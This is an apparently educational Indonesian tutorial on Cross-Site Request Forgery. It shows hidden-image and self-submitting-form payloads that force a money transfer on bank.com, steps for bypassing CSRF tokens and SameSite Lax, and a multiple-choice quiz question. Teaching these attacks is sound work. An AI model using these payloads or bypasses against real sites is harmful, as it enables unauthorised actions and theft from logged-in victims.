Apa Itu CSRF?
Cross-Site Request Forgery (CSRF) memaksa user yang sudah login untuk tanpa sadar mengirim request yang tidak diinginkan ke aplikasi tempat mereka login.
Cara Kerja CSRF
- Korban login ke
bank.com, cookie session tersimpan di browser
- Korban mengunjungi halaman jahat attacker
- Halaman attacker memuat request tersembunyi ke
bank.com/transfer
- Browser otomatis kirim cookie bank — server pikir request dari korban
<!-- Halaman attacker -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000">
<!-- Atau form tersembunyi -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input name="to" value="attacker">
<input name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit()</script>
CSRF Token Bypass
# Cek apakah token divalidasi di server
# 1. Hapus token sama sekali
# 2. Kirim token kosong: csrf_token=
# 3. Kirim token palsu: csrf_token=aaaaaa
# 4. Gunakan token dari akun sendiri ke akun lain
SameSite Cookie Bypass
# SameSite=Strict: cookie tidak dikirim dari domain lain sama sekali
# SameSite=Lax: cookie dikirim untuk GET tapi tidak POST cross-site
# Tanpa SameSite: cookie selalu dikirim = rentan CSRF
# Bypass Lax: gunakan GET request
<img src="https://target.com/action?param=value">
// CEK PEMAHAMAN
Mengapa CSRF bisa berhasil meski korban tidak mengklik apapun di halaman attacker?
AJavaScript attacker berjalan di konteks bank.com
BBrowser otomatis mengirim cookie ke domain asalnya saat memuat resource apapun dari domain tersebut
CAttacker mengeksploitasi XSS di bank.com
DAttacker mencuri password korban terlebih dahulu